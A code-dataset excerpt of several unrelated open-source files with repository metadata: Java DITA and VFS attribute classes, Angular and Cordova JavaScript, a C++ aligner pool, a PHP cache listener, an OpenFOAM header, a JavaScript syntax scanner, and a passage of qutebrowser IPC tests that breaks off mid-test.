getSearch() { return search; } /** * Sets the value of the search property. * * @param value * allowed object is * {@link YesnoAttClass } * */ public void setSearch(YesnoAttClass value) { this.search = value; } /** * Gets the value of the chunk property. * * @return * possible object is * {@link String } * */ public String getChunk() { return chunk; } /** * Sets the value of the chunk property. * * @param value * allowed object is * {@link String } * */ public void setChunk(String value) { this.chunk = value; } /** * Gets the value of the xtrc property. * * @return * possible object is * {@link String } * */ public String getXtrc() { return xtrc; } /** * Sets the value of the xtrc property. * * @param value * allowed object is * {@link String } * */ public void setXtrc(String value) { this.xtrc = value; } /** * Gets the value of the xtrf property. * * @return * possible object is * {@link String } * */ public String getXtrf() { return xtrf; } /** * Sets the value of the xtrf property. * * @param value * allowed object is * {@link String } * */ public void setXtrf(String value) { this.xtrf = value; } }
ramsodev/DitaManagement
dita/dita.bookmap/src/net/ramso/dita/bookmap/FrontmatterClass.java
Java
gpl-3.0
21,779
"use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; Object.defineProperty(exports, "__esModule", { value: true }); var core_1 = require("@angular/core"); var user_service_1 = require("../../services/user.service"); var HomeComponent = (function () { function HomeComponent(userService) { this.userService = userService; this.users = []; } HomeComponent.prototype.ngOnInit = function () { var _this = this; // get users from secure api end point this.userService.getUsers() .subscribe(function (users) { _this.users = users; }); }; return HomeComponent; }()); HomeComponent = __decorate([ core_1.Component({ moduleId: module.id, templateUrl: 'home.component.html' }), __metadata("design:paramtypes", [user_service_1.UserService]) ], HomeComponent); exports.HomeComponent = HomeComponent; //# sourceMappingURL=home.component.js.map
umeshsohaliya/AngularSampleA
app/components/home/home.component.js
JavaScript
gpl-3.0
1,660
'use strict'; var BarcodeScan = require('com.tlantic.plugins.device.barcodescan.BarcodeScan'); var barcodeScan; exports.init = function (success, fail, args) { if (!barcodeScan) { barcodeScan = new BarcodeScan(); barcodeScan.onReceive = exports.rcMessage; barcodeScan.init(success, fail); } else { barcodeScan.endReceivingData(function () { barcodeScan.onReceive = exports.rcMessage; barcodeScan.init(success, fail); }); } }; exports.stop = function stop(success, fail, args) { barcodeScan.endReceivingData(success); }; // callback to receive data written on socket inputStream exports.rcMessage = function (scanLabel, scanData, scanType) { window.tlantic.plugins.device.barcodescan.receive(scanLabel, scanData, scanType); }; require('cordova/windows8/commandProxy').add('DeviceBarcodeScan', exports);
Tlantic/cdv-device-barcodescan-plugin
src/windows8/BarcodeScanProxy.js
JavaScript
gpl-3.0
897
// // njhseq - A library for analyzing sequence data // Copyright (C) 2012-2018 Nicholas Hathaway <nicholas.hathaway@umassmed.edu>, // // This file is part of njhseq. // // njhseq is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // njhseq is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with njhseq. If not, see <http://www.gnu.org/licenses/>. // /* * AlignerPool.cpp * * Created on: Jan 7, 2016 * Author: nick */ #include "AlignerPool.hpp" namespace njhseq { namespace concurrent { AlignerPool::AlignerPool(uint64_t startingMaxLen, const gapScoringParameters & gapInfo, const substituteMatrix & scoring, const size_t size) : startingMaxLen_(startingMaxLen), gapInfo_(gapInfo), scoring_(scoring), size_(size) { for(uint32_t i = 0; i < size_; ++i){ aligners_.emplace_back(aligner(startingMaxLen_, gapInfo_, scoring_)); } } AlignerPool::AlignerPool(const aligner & alignerObj, const size_t size) : startingMaxLen_(alignerObj.parts_.maxSize_), gapInfo_(alignerObj.parts_.gapScores_), scoring_( alignerObj.parts_.scoring_), size_(size) { for (uint32_t i = 0; i < size_; ++i) { aligners_.emplace_back(alignerObj); } } AlignerPool::AlignerPool(const size_t size) : size_(size) { startingMaxLen_ = 400; gapInfo_ = gapScoringParameters(5, 1); scoring_.setWithSimple(2, -2); for(uint32_t i = 0; i < size_; ++i){ aligners_.emplace_back(aligner(startingMaxLen_, gapInfo_, scoring_)); } } AlignerPool::AlignerPool(const AlignerPool& that) : startingMaxLen_(that.startingMaxLen_), gapInfo_(that.gapInfo_), scoring_(that.scoring_), size_( that.size_) { for(uint32_t i = 0; i < size_; ++i){ aligners_.emplace_back(aligner(startingMaxLen_, gapInfo_, scoring_)); } } AlignerPool::~AlignerPool() { std::lock_guard<std::mutex> lock(poolmtx_); // GUARD destoryAlignersNoLock(); } void AlignerPool::initAligners(){ std::lock_guard<std::mutex> lock(poolmtx_); // GUARD // now push them onto the queue for (aligner& alignerObj : aligners_) { alignerObj.processAlnInfoInput(inAlnDir_); pushAligner(alignerObj); } } void AlignerPool::destoryAligners(){ std::lock_guard<std::mutex> lock(poolmtx_); // GUARD destoryAlignersNoLock(); } void AlignerPool::destoryAlignersNoLock(){ closing_ = true; { //merge the alignment of the other aligners into one and then write to avoid duplications PooledAligner first_aligner_ptr; queue_.waitPop(first_aligner_ptr); if(size_ > 1){ for (size_t i = 1; i < size_; ++i) { PooledAligner aligner_ptr; queue_.waitPop(aligner_ptr); if("" != outAlnDir_){ first_aligner_ptr->alnHolder_.mergeOtherHolder(aligner_ptr->alnHolder_); } } } if("" != outAlnDir_){ first_aligner_ptr->processAlnInfoOutput(outAlnDir_, false); } } } void AlignerPool::pushAligner(aligner& alignerObj){ if(!closing_){ AlignerPool* p = this; queue_.push( std::shared_ptr<aligner>(&alignerObj, [p](aligner* alignerObj) { p->pushAligner(*alignerObj); })); } } PooledAligner AlignerPool::popAligner() { PooledAligner aligner_ptr; queue_.waitPop(aligner_ptr); return aligner_ptr; } } // namespace concurrent } // namespace njhseq
bailey-lab/bibseq
src/njhseq/concurrency/pools/AlignerPool.cpp
C++
gpl-3.0
3,615
<?php /* * Copyright (C) 2015 Biospex * biospex@gmail.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ namespace App\Listeners; use Illuminate\Support\Facades\Cache; /** * Class CacheEventSubscriber * * @package App\Listeners */ class CacheEventSubscriber { /** * Register the listeners for the subscriber. * * @param $events */ public function subscribe($events) { $events->listen( 'cache.flush', 'App\Listeners\CacheEventSubscriber@flush' ); } /** * Flush tag * @param $tag */ public function flush($tag) { Cache::tags((string) $tag)->flush(); } }
iDigBio/Biospex
app/Listeners/CacheEventSubscriber.php
PHP
gpl-3.0
1,285
/* * Copyright (C) 2017 Timo Vesalainen <timo.vesalainen@iki.fi> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.vesalainen.vfs.attributes; import java.nio.ByteBuffer; import java.nio.file.attribute.AclFileAttributeView; import java.nio.file.attribute.BasicFileAttributeView; import java.nio.file.attribute.DosFileAttributeView; import java.nio.file.attribute.FileAttributeView; import java.nio.file.attribute.FileOwnerAttributeView; import java.nio.file.attribute.FileTime; import java.nio.file.attribute.GroupPrincipal; import java.nio.file.attribute.PosixFileAttributeView; import java.nio.file.attribute.UserDefinedFileAttributeView; import java.nio.file.attribute.UserPrincipal; import java.util.Arrays; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Objects; import java.util.Set; import java.util.stream.Collectors; import org.vesalainen.util.Bijection; import org.vesalainen.util.HashBijection; import org.vesalainen.util.HashMapSet; import org.vesalainen.util.CollectionHelp; import org.vesalainen.util.MapSet; import org.vesalainen.vfs.unix.UnixFileAttributeView; /** * * @author Timo Vesalainen <timo.vesalainen@iki.fi> */ public final class FileAttributeName { public static final String BASIC_VIEW = "basic"; public static final String ACL_VIEW = "acl"; public static final String POSIX_VIEW = "posix"; public static final String OWNER_VIEW = "owner"; public static final String DOS_VIEW = "dos"; public static final String USER_VIEW = "user"; public static final String UNIX_VIEW = "org.vesalainen.vfs.unix"; public static final String DIGEST_VIEW = "org.vesalainen.vfs.digest"; // digest public static final String CONTENT = DIGEST_VIEW+":org.vesalainen.vfs.content"; public static final String CPIO_CHECKSUM = DIGEST_VIEW+":org.vesalainen.vfs.cpiochecksum"; public static final String CRC32 = DIGEST_VIEW+":org.vesalainen.vfs.crc32"; public static final String MD5 = DIGEST_VIEW+":org.vesalainen.vfs.md5"; public static final String SHA1 = DIGEST_VIEW+":org.vesalainen.vfs.sha1"; public static final String SHA256 = DIGEST_VIEW+":org.vesalainen.vfs.sha256"; public static final String DEVICE = UNIX_VIEW+":org.vesalainen.vfs.device"; public static final String INODE = UNIX_VIEW+":org.vesalainen.vfs.inode"; public static final String NLINK = UNIX_VIEW+":org.vesalainen.vfs.nlink"; public static final String SETUID = UNIX_VIEW+":org.vesalainen.vfs.setuid"; public static final String SETGID = UNIX_VIEW+":org.vesalainen.vfs.setgid"; public static final String STICKY = UNIX_VIEW+":org.vesalainen.vfs.sticky"; // posix public static final String PERMISSIONS = "posix:permissions"; public static final String GROUP = "posix:group"; // basic public static final String LAST_MODIFIED_TIME = "basic:lastModifiedTime"; public static final String LAST_ACCESS_TIME = "basic:lastAccessTime"; public static final String CREATION_TIME = "basic:creationTime"; public static final String SIZE = "basic:size"; public static final String IS_REGULAR = "basic:isRegularFile"; public static final String IS_DIRECTORY = "basic:isDirectory"; public static final String IS_SYMBOLIC_LINK = "basic:isSymbolicLink"; public static final String IS_OTHER = "basic:isOther"; public static final String FILE_KEY = "basic:fileKey"; public static final String OWNER = "owner:owner"; public static final String ACL = "acl:acl"; public static final String READONLY = "dos:readonly"; public static final String HIDDEN = "dos:hidden"; public static final String SYSTEM = "dos:system"; public static final String ARCHIVE = "dos:archive"; private static final Map<String,Class<?>> types; private static final Bijection<String,Class<? extends FileAttributeView>> nameView; private static final MapSet<String,String> impliesMap = new HashMapSet<>(); private static final Map<String,Name> nameMap = new HashMap<>(); static { addName(DEVICE); addName(INODE); addName(NLINK); addName(SETUID); addName(SETGID); addName(STICKY); // posix addName(PERMISSIONS); addName(GROUP); // basic addName(LAST_MODIFIED_TIME); addName(LAST_ACCESS_TIME); addName(CREATION_TIME); addName(SIZE); addName(IS_REGULAR); addName(IS_DIRECTORY); addName(IS_SYMBOLIC_LINK); addName(IS_OTHER); addName(FILE_KEY); addName(OWNER); addName(ACL); addName(READONLY); addName(HIDDEN); addName(SYSTEM); addName(ARCHIVE); addName(CONTENT); addName(CPIO_CHECKSUM); addName(CRC32); addName(MD5); addName(SHA1); addName(SHA256); types = new HashMap<>(); types.put(DEVICE, Integer.class); types.put(INODE, Integer.class); types.put(NLINK, Integer.class); types.put(SETUID, Boolean.class); types.put(SETGID, Boolean.class); types.put(STICKY, Boolean.class); types.put(PERMISSIONS, Set.class); types.put(GROUP, GroupPrincipal.class); types.put(OWNER, UserPrincipal.class); types.put(LAST_MODIFIED_TIME, FileTime.class); types.put(LAST_ACCESS_TIME, FileTime.class); types.put(CREATION_TIME, FileTime.class); types.put(SIZE, Long.class); types.put(IS_REGULAR, Boolean.class); types.put(IS_DIRECTORY, Boolean.class); types.put(IS_SYMBOLIC_LINK, Boolean.class); types.put(IS_OTHER, Boolean.class); types.put(FILE_KEY, Boolean.class); nameView = new HashBijection<>(); nameView.put(BASIC_VIEW, BasicFileAttributeView.class); nameView.put(ACL_VIEW, AclFileAttributeView.class); nameView.put(DOS_VIEW, DosFileAttributeView.class); nameView.put(OWNER_VIEW, FileOwnerAttributeView.class); nameView.put(POSIX_VIEW, PosixFileAttributeView.class); nameView.put(USER_VIEW, UserDefinedFileAttributeView.class); nameView.put(UNIX_VIEW, UnixFileAttributeView.class); nameView.put(DIGEST_VIEW, DigestFileAttributeView.class); initImplies(BASIC_VIEW); initImplies(ACL_VIEW); initImplies(DOS_VIEW); initImplies(OWNER_VIEW); initImplies(POSIX_VIEW); initImplies(USER_VIEW); initImplies(UNIX_VIEW); initImplies(DIGEST_VIEW); } private static void initImplies(String view) { Class<? extends FileAttributeView> viewClass = nameView.getSecond(view); initImplies(view, viewClass); } private static void initImplies(String view, Class<? extends FileAttributeView> viewClass) { String name = nameView.getFirst(viewClass); if (name != null) { impliesMap.add(view, name); } for (Class<?> itf : viewClass.getInterfaces()) { if (FileAttributeView.class.isAssignableFrom(itf)) { initImplies(view, (Class<? extends FileAttributeView>) itf); } } } /** * Returns a set that contains given views as well as all implied views. * @param views * @return */ public static final Set<String> impliedSet(String... views) { Set<String> set = new HashSet<>(); for (String view : views) { set.addAll(impliesMap.get(view)); } return set; } public static final Set<String> topViews(Set<String> views) { return topViews(CollectionHelp.toArray(views, String.class)); } public static final Set<String> topViews(String... views) { Set<String> set = Arrays.stream(views).collect(Collectors.toSet()); int len = views.length; for (int ii=0;ii<len;ii++) { String view = views[ii]; for (int jj=0;jj<len;jj++) { if (ii != jj) { Set<String> is = impliesMap.get(views[jj]); if (is.contains(view)) { set.remove(view); } } } } return set; } public static final Class<?> type(Name name) { return types.get(name.toString()); } public static final void check(Name name, Object value) { Objects.requireNonNull(value, "value can't be null"); if (DIGEST_VIEW.equals(name.view)) { if (!value.getClass().equals(byte[].class) && !(value instanceof ByteBuffer)) { throw new ClassCastException(value+" not expected type byte[]/ByteBuffer"); } } else { if (USER_VIEW.equals(name.view)) { if (!value.getClass().equals(byte[].class) && !(value instanceof ByteBuffer)) { throw new ClassCastException(value+" not expected type byte[]/ByteBuffer"); } } else { Class<?> type = FileAttributeName.type(name); if (type == null || !type.isAssignableFrom(value.getClass())) { throw new ClassCastException(value+" not expected type "+type); } } } } private static void addName(String attr) { Name name = getInstance(attr); Name old = nameMap.put(name.name, name); if (old != null) { throw new IllegalArgumentException(name+" ambiguous"); } } public static class FileAttributeNameMatcher { private Set<String> views; private String[] attributes; public FileAttributeNameMatcher(String expr) { String view = BASIC_VIEW; int idx = expr.indexOf(':'); if (idx != -1) { view = expr.substring(0, idx); expr = expr.substring(idx+1); } if (expr.startsWith("*")) { if (expr.length() != 1) { throw new IllegalArgumentException(expr+" invalid"); } } else { attributes = expr.split(","); } views = impliesMap.get(view); if (views == null) { throw new UnsupportedOperationException(view+" not supported"); } } public boolean any(String name) { return any(getInstance(name)); } public boolean any(Name name) { if (!views.contains(name.view)) { return false; } if (attributes == null) { return true; } else { for (String at : attributes) { if (at.equals(name.name)) { return true; } } } return false; } } public static final Name getInstance(String attribute) { Name name = nameMap.get(attribute); if (name == null) { String view; String attr; int idx = attribute.indexOf(':'); if (idx != -1) { view = attribute.substring(0, idx); attr = attribute.substring(idx+1); name = new Name(view, attr); } else { view = BASIC_VIEW; attr = attribute; name = new Name(view, attr); nameMap.put(attr, name); } nameMap.put(attribute, name); } return name; } public static class Name { private String view; private String name; private String string; public Name(String view, String name) { this.view = view; this.name = name; this.string = view+':'+name; } public String getView() { return view; } public String getName() { return name; } @Override public String toString() { return string; } } }
tvesalainen/util
vfs/src/main/java/org/vesalainen/vfs/attributes/FileAttributeName.java
Java
gpl-3.0
13,646
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox \\ / O peration | \\ / A nd | Copyright (C) 2011 OpenFOAM Foundation \\/ M anipulation | ------------------------------------------------------------------------------- License This file is part of OpenFOAM. OpenFOAM is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. OpenFOAM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenFOAM. If not, see <http://www.gnu.org/licenses/>. InNamespace Foam Description Bound the given scalar field if it has gone unbounded. Used extensively in RAS and LES turbulence models, but also of use within solvers. SourceFiles bound.C \*---------------------------------------------------------------------------*/ #ifndef bound_H #define bound_H #include "OpenFOAM-2.1.x/src/OpenFOAM/dimensionedTypes/dimensionedScalar/dimensionedScalar.H" #include "OpenFOAM-2.1.x/src/finiteVolume/fields/volFields/volFieldsFwd.H" // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // namespace Foam { // * * * * * * * * * * * * * * * Global Functions * * * * * * * * * * * * * // //- Bound the given scalar field if it has gone unbounded. // Return the bounded field. // Used extensively in RAS and LES turbulence models. volScalarField& bound(volScalarField&, const dimensionedScalar& lowerBound); // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // } // End namespace Foam // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // #endif // ************************************************************************* //
kempj/OpenFOAM-win
src/finiteVolume/cfdTools/general/bound/bound.H
C++
gpl-3.0
2,244
package de.macbury.botlogic.core.ui.code_editor.js; import java.io.Reader; /** * A simple Java source file parser for syntax highlighting. * * @author Matthias Mann */ public class JavaScriptScanner { public enum Kind { /** End of file - this token has no text */ EOF, /** End of line - this token has no text */ NEWLINE, /** Normal text - does not include line breaks */ NORMAL, /** A keyword */ KEYWORD, /** A string or character constant */ STRING, /** A comment - multi line comments are split up and {@link NEWLINE} tokens are inserted */ COMMENT, /** A javadoc tag inside a comment */ COMMENT_TAG, NUMBER, SPECIAL_KEYWORD } private static final KeywordList KEYWORD_LIST = new KeywordList( "function", "true", "false", "var", "for", "while", "if", "else", "null", "this", "new", "switch", "case", "break", "try", "catch", "do", "instanceof", "return", "throw", "typeof", "with", "prototype"); private static final KeywordList SPECIAL_KEYWORD_LIST = new KeywordList("robot", "led", "sonar", "console"); private final CharacterIterator iterator; private boolean inMultiLineComment; public JavaScriptScanner(CharSequence cs) { this.iterator = new CharacterIterator(cs); } public JavaScriptScanner(Reader r) { this.iterator = new CharacterIterator(r); } /** * Scans for the next token. * Read errors result in EOF. * * Use {@link #getString()} to retrieve the string for the parsed token. * * @return the next token. */ public Kind scan() { iterator.clear(); if(inMultiLineComment) { return scanMultiLineComment(false); } int ch = iterator.next(); switch(ch) { case CharacterIterator.EOF: return Kind.EOF; case '\n': return Kind.NEWLINE; case '\"': case '\'': scanString(ch); return Kind.STRING; case '/': switch(iterator.peek()) { case '/': iterator.advanceToEOL(); return Kind.COMMENT; case '*': inMultiLineComment = true; iterator.next(); // skip '*' return scanMultiLineComment(true); } // fall through default: return scanNormal(ch); } } /** * Returns the string for the last token returned by {@link #scan() } * * @return the string for the last token */ public String getString() { return iterator.getString(); } public int getCurrentPosition() { return iterator.getCurrentPosition(); } private void scanString(int endMarker) { for(;;) { int ch = iterator.next(); if(ch == '\\') { iterator.next(); } else if(ch == '\n') { iterator.pushback(); return; } else if(ch == endMarker || ch == '\n' || ch == '\r' || ch < 0) { return; } } } private Kind scanMultiLineComment(boolean start) { int ch = iterator.next(); if(!start && ch == '\n') { return Kind.NEWLINE; } if(ch == '@') { iterator.advanceIdentifier(); return Kind.COMMENT_TAG; } for(;;) { if(ch < 0 || (ch == '*' && iterator.peek() == '/')) { iterator.next(); inMultiLineComment = false; return Kind.COMMENT; } if(ch == '\n') { iterator.pushback(); return Kind.COMMENT; } if(ch == '@') { iterator.pushback(); return Kind.COMMENT; } ch = iterator.next(); } } private Kind scanNormal(int ch) { for(;;) { switch(ch) { case '\n': case '\"': case '\'': case CharacterIterator.EOF: iterator.pushback(); return Kind.NORMAL; case '/': if(iterator.check("/*")) { iterator.pushback(); return Kind.NORMAL; } break; default: if(Character.isJavaIdentifierStart(ch)) { iterator.setMarker(true); iterator.advanceIdentifier(); if(iterator.isKeyword(KEYWORD_LIST)) { if(iterator.isMarkerAtStart()) { return Kind.KEYWORD; } iterator.rewindToMarker(); return Kind.NORMAL; } else if(iterator.isKeyword(SPECIAL_KEYWORD_LIST)) { if(iterator.isMarkerAtStart()) { return Kind.SPECIAL_KEYWORD; } iterator.rewindToMarker(); return Kind.NORMAL; } else if (Character.isDigit(ch)) { return Kind.NUMBER; } } break; } ch = iterator.next(); } } }
macbury/BotLogic
src/de/macbury/botlogic/core/ui/code_editor/js/JavaScriptScanner.java
Java
gpl-3.0
4,698
# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et: # Copyright 2015-2021 Florian Bruhin (The Compiler) <mail@qutebrowser.org> # # This file is part of qutebrowser. # # qutebrowser is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # qutebrowser is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with qutebrowser. If not, see <https://www.gnu.org/licenses/>. """Tests for qutebrowser.misc.ipc.""" import os import pathlib import getpass import logging import json import hashlib import dataclasses from unittest import mock from typing import Optional, List import pytest from PyQt5.QtCore import pyqtSignal, QObject from PyQt5.QtNetwork import QLocalServer, QLocalSocket, QAbstractSocket from PyQt5.QtTest import QSignalSpy import qutebrowser from qutebrowser.misc import ipc from qutebrowser.utils import standarddir, utils from helpers import stubs, utils as testutils pytestmark = pytest.mark.usefixtures('qapp') @pytest.fixture(autouse=True) def shutdown_server(): """If ipc.send_or_listen was called, make sure to shut server down.""" yield if ipc.server is not None: ipc.server.shutdown() @pytest.fixture def ipc_server(qapp, qtbot): server = ipc.IPCServer('qute-test') yield server if (server._socket is not None and server._socket.state() != QLocalSocket.UnconnectedState): with qtbot.waitSignal(server._socket.disconnected, raising=False): server._socket.abort() try: server.shutdown() except ipc.Error: pass @pytest.fixture def qlocalserver(qapp): server = QLocalServer() yield server server.close() server.deleteLater() @pytest.fixture def qlocalsocket(qapp): socket = QLocalSocket() yield socket socket.disconnectFromServer() if socket.state() != QLocalSocket.UnconnectedState: socket.waitForDisconnected(1000) @pytest.fixture(autouse=True) def fake_runtime_dir(monkeypatch, short_tmpdir): monkeypatch.setenv('XDG_RUNTIME_DIR', str(short_tmpdir)) standarddir._init_runtime(args=None) return short_tmpdir class FakeSocket(QObject): """A stub for a QLocalSocket. Args: _can_read_line_val: The value returned for canReadLine(). _error_val: The value returned for error(). _state_val: The value returned for state(). _connect_successful: The value returned for waitForConnected(). """ readyRead = pyqtSignal() # noqa: N815 disconnected = pyqtSignal() def __init__(self, *, error=QLocalSocket.UnknownSocketError, state=None, data=None, connect_successful=True, parent=None): super().__init__(parent) self._error_val = error self._state_val = state self._data = data self._connect_successful = connect_successful self.error = stubs.FakeSignal('error', func=self._error) def _error(self): return self._error_val def state(self): return self._state_val def canReadLine(self): return bool(self._data) def readLine(self): firstline, mid, rest = self._data.partition(b'\n') self._data = rest return firstline + mid def errorString(self): return "Error string" def abort(self): self.disconnected.emit() def disconnectFromServer(self): pass def connectToServer(self, _name): pass def waitForConnected(self, _time): return self._connect_successful def writeData(self, _data): pass def waitForBytesWritten(self, _time): pass def waitForDisconnected(self, _time): pass class FakeServer: def __init__(self, socket): self._socket = socket def nextPendingConnection(self): socket = self._socket self._socket = None return socket def close(self): pass def deleteLater(self): pass def test_getpass_getuser(): """Make sure getpass.getuser() returns something sensible.""" assert getpass.getuser() def md5(inp): return hashlib.md5(inp.encode('utf-8')).hexdigest() class TestSocketName: WINDOWS_TESTS = [ (None, 'qutebrowser-testusername'), ('/x', 'qutebrowser-testusername-{}'.format(md5('/x'))), ] @pytest.fixture(autouse=True) def patch_user(self, monkeypatch): monkeypatch.setattr(ipc.getpass, 'getuser', lambda: 'testusername') @pytest.mark.parametrize('basedir, expected', WINDOWS_TESTS) @pytest.mark.windows def test_windows(self, basedir, expected): socketname = ipc._get_socketname(basedir) assert socketname == expected @pytest.mark.parametrize('basedir, expected', WINDOWS_TESTS) def test_windows_on_posix(self, basedir, expected): socketname = ipc._get_socketname_windows(basedir) assert socketname == expected def test_windows_broken_getpass(self, monkeypatch): def _fake_username(): raise ImportError monkeypatch.setattr(ipc.getpass, 'getuser', _fake_username) with pytest.raises(ipc.Error, match='USERNAME'): ipc._get_socketname_windows(basedir=None) @pytest.mark.mac @pytest.mark.parametrize('basedir, expected', [ (None, 'i-{}'.format(md5('testusername'))), ('/x', 'i-{}'.format(md5('testusername-/x'))), ]) def test_mac(self, basedir, expected): socketname = ipc._get_socketname(basedir) parts = socketname.split(os.sep) assert parts[-2] == 'qutebrowser' assert parts[-1] == expected @pytest.mark.linux @pytest.mark.parametrize('basedir, expected', [ (None, 'ipc-{}'.format(md5('testusername'))), ('/x', 'ipc-{}'.format(md5('testusername-/x'))), ]) def test_linux(self, basedir, fake_runtime_dir, expected): socketname = ipc._get_socketname(basedir) expected_path = str(fake_runtime_dir / 'qutebrowser' / expected) assert socketname == expected_path def test_other_unix(self): """Fake test for POSIX systems which aren't Linux/macOS. We probably would adjust the code first to make it work on that platform. """ if utils.is_windows: pass elif utils.is_mac: pass elif utils.is_linux: pass else: raise Exception("Unexpected platform!") class TestExceptions: def test_listen_error(self, qlocalserver): qlocalserver.listen(None) exc = ipc.ListenError(qlocalserver) assert exc.code == 2 assert exc.message == "QLocalServer::listen: Name error" msg = ("Error while listening to IPC server: QLocalServer::listen: " "Name error (error 2)") assert str(exc) == msg with pytest.raises(ipc.Error): raise exc def test_socket_error(self, qlocalserver): socket = FakeSocket(error=QLocalSocket.ConnectionRefusedError) exc = ipc.SocketError("testing", socket) assert exc.code == QLocalSocket.ConnectionRefusedError assert exc.message == "Error string" assert str(exc) == "Error while testing: Error string (error 0)" with pytest.raises(ipc.Error): raise exc class TestListen: @pytest.mark.posix def test_remove_error(self, ipc_server, monkeypatch): """Simulate an error in _remove_server.""" monkeypatch.setattr(ipc_server, '_socketname', None) with pytest.raises(ipc.Error, match="Error while removing server None!"): ipc_server.listen() def test_error(self, ipc_server, monkeypatch): """Simulate an error while listening.""" monkeypatch.setattr(ipc.QLocalServer, 'removeServer', lambda self: True) monkeypatch.setattr(ipc_server, '_socketname', None) with pytest.raises(ipc.ListenError): ipc_server.listen() @pytest.mark.posix def test_in_use(self, qlocalserver, ipc_server, monkeypatch): monkeypatch.setattr(ipc.QLocalServer, 'removeServer', lambda self: True) qlocalserver.listen('qute-test') with pytest.raises(ipc.AddressInUseError): ipc_server.listen() def test_successful(self, ipc_server): ipc_server.listen() @pytest.mark.windows def test_permissions_windows(self, ipc_server): opts = ipc_server._server.socketOptions() assert opts == QLocalServer.UserAccessOption @pytest.mark.posix def test_permissions_posix(self, ipc_server): ipc_server.listen() sockfile = ipc_server._server.fullServerName() sockdir = pathlib.Path(sockfile).parent file_stat = os.stat(sockfile) dir_stat = sockdir.stat() # pylint: disable=no-member,useless-suppression file_owner_ok = file_stat.st_uid == os.getuid() dir_owner_ok = dir_stat.st_uid == os.getuid() # pylint: enable=no-member,useless-suppression file_mode_ok = file_stat.st_mode & 0o777 == 0o700 dir_mode_ok = dir_stat.st_mode & 0o777 == 0o700 print('sockdir: {} / owner {} / mode {:o}'.format( sockdir, dir_stat.st_uid, dir_stat.st_mode)) print('sockfile: {} / owner {} / mode {:o}'.format( sockfile, file_stat.st_uid, file_stat.st_mode)) assert file_owner_ok or dir_owner_ok assert file_mode_ok or dir_mode_ok @pytest.mark.posix def test_atime_update(self, qtbot, ipc_server): ipc_server._atime_timer.setInterval(500) # We don't want to wait ipc_server.listen() old_atime = os.stat(ipc_server._server.fullServerName()).st_atime_ns with qtbot.waitSignal(ipc_server._atime_timer.timeout, timeout=2000): pass # Make sure the timer is not singleShot with qtbot.waitSignal(ipc_server._atime_timer.timeout, timeout=2000): pass new_atime = os.stat(ipc_server._server.fullServerName()).st_atime_ns assert old_atime != new_atime @pytest.mark.posix def test_atime_update_no_name(self, qtbot, caplog, ipc_server): with caplog.at_level(logging.ERROR): ipc_server.update_atime() assert caplog.messages[-1] == "In update_atime with no server path!" @pytest.mark.posix def test_atime_shutdown_typeerror(self, qtbot, ipc_server): """This should never happen, but let's handle it gracefully.""" ipc_server._atime_timer.timeout.disconnect(ipc_server.update_atime) ipc_server.shutdown() @pytest.mark.posix def test_vanished_runtime_file(self, qtbot, caplog, ipc_server): ipc_server._atime_timer.setInterval(500) # We don't want to wait ipc_server.listen() sockfile = pathlib.Path(ipc_server._server.fullServerName()) sockfile.unlink() with caplog.at_level(logging.ERROR): with qtbot.waitSignal(ipc_server._atime_timer.timeout, timeout=2000): pass msg = 'Failed to update IPC socket, trying to re-listen...' assert caplog.messages[-1] == msg assert ipc_server._server.isListening() assert sockfile.exists() class TestOnError: def test_closed(self, ipc_server): ipc_server._socket = QLocalSocket() ipc_server._timer.timeout.disconnect() ipc_server._timer.start() ipc_server.on_error(QLocalSocket.PeerClosedError) assert not ipc_server._timer.isActive() def test_other_error(self, ipc_server, monkeypatch): socket = QLocalSocket() ipc_server._socket = socket monkeypatch.setattr(socket, 'error', lambda: QLocalSocket.ConnectionRefusedError) 